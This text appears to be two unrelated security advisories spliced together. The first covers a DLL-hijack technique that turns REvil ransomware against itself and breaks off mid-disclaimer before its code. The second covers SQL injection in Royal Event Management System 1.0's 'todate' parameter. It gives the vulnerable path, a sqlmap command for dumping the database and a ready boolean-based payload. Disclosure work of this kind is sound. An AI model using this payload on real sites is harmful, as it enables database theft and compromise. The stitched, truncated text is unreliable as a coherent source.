Endpoint protection systems and or antivirus can potentially be killed prior to executing malware, but this method cannot as there's nothing to kill the DLL just lives on disk waiting. From a defensive perspective you can add the DLLs to a specific network share containing important data as a layered approach. All basic tests were conducted successfully in a virtual machine environment.<br />Family: REvil<br />Type: PE32<br />MD5: 8ca35b7867e23a1bbb0fea6d51fc1b61<br />Vuln ID: MVID-2022-0596<br />Disclosure: 05/12/2022<br /><br />Exploit/PoC:<br />1) Compile the following C code as "winhttp.dll" 32-bit<br />2) Place the DLL in same directory as the ransomware<br />3) Optional - Hide it: attrib +s +h "winhttp.dll"<br />4) Run the malware<br /><br />#include "windows.h"<br /><br />//By malvuln<br />//gcc -c winhttp.c -m32<br />//gcc -shared -o winhttp.dll winhttp.o -m32<br />//Purpose: Exploit REvil<br />/** DISCLAIMER:<br />Author is NOT responsible for any damages whatsoever by using this software or improper malware<br />handling.

Description:<br />----------------------<br /><br />Royal Event Management System 1.0 allows SQL Injection via parameter 'todate' in<br />/royal_event/btndates_report.php#?= Exploiting this issue could allow an attacker to compromise<br />the application, access or modify data, or exploit latent vulnerabilities<br />in the underlying database.<br /><br /><br />2. Proof of Concept:<br />----------------------<br /><br />In Burpsuite intercept the request from the affected page with<br />'todate' parameter and save it like poc.txt. Then run SQLmap to extract the<br />data from the database:<br /><br />sqlmap -r poc.txt --dbms=mysql<br /><br /><br />3. Example payload:<br />----------------------<br /><br />(boolean-based)<br /><br />-1%27+OR+1%3d1+OR+%27ns%27%3d%27ns <br /><br />4.
